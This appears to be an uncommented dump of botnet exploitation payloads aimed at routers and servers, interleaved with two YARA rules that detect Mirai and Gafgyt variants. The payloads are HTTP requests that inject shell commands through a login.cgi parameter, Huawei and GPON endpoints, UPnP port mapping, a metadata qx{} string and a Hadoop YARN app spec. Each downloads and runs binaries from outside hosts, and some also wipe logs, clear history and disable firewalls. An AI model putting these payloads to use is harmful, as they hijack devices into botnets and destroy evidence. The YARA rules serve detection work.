GET /login.cgi?cli=aa ;wget http://nomiddleman.ddns.net/nips -O /tmp/vv ;sh /tmp/vv ;wget http://nomiddleman.ddns.net/bob -O /tmp/cc ;sh /tmp/cc ;wget http://nomiddleman.ddns.net/forearm4 -O /tmp/dd ;sh /tmp/dd HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: Blade/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-alive\r\nAccept: */*\r\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget http://nomiddleman.ddns.net/nips -O /tmp/vv; /bin/busybox chmod 777 * /tmp/vv; sh /tmp/vv)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

POST /GponForm/diag_Form?images/ HTTP/1.1\r\nUser-Agent: Hello, World\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://37.44.238.182/gpon+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0")

POST /picsdesc.xml HTTP/1.1\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: Hello-World\r\nConnection: keep-alive\r\n\r\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`wget http://37.44.238.182/real.sh -O - > /var/fkra;sh/var/fkra`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n")

rule Mirai_Fro

{

meta:

author = "WPeace"

strings:

$elf = "\x7FELF"

$onlinePack = "Device Connected"

$commandStr_0 = "NOOOOOOOOOOOOOOOOOOOO"

$commandStr_1 = "KPAC"

$commandStr_2 = "DAVE"

$commandStr_3 = "NFODROP"

$commandStr_4 = "STOP"

condition:

all of them

}

rule Gafgyt_Fro

{

meta:

author = "WPeace"

strings:

$elf = "\x7FELF"

$authorStr = "FrostedFlakes666"

$onlinePack = "Kansen shita"

$commandStr_0 = "CMD"

$commandStr_1 = "CREG"

$commandStr_2 = "KPAC"

$commandStr_3 = "GETPUBLICIP"

condition:

all of them

}

(metadata.(Copyright "\" . qx{TF=$(mktemp -u);mkfifo $TF && rm -rf roof;wget http://37.44.238.182/bins/kirin.x86 ; chmod 777 * ; ./kirin.x86 ;rm -rf kirin.x86; wget http://37.44.238.191/roof; curl -O http://37.44.238.191/roof; chmod +x roof; ./roof x86 0<$TF | sh 1>$TF} . \" b ")

/ws/v1/cluster/apps

{"am-container-spec": {"commands": {"command": "cd /tmp ; pkill -9 roof ; get

http://37.44.238.191/roof; chmod 777 *; ./roof x86; rm -rf roof ; history -c"}}}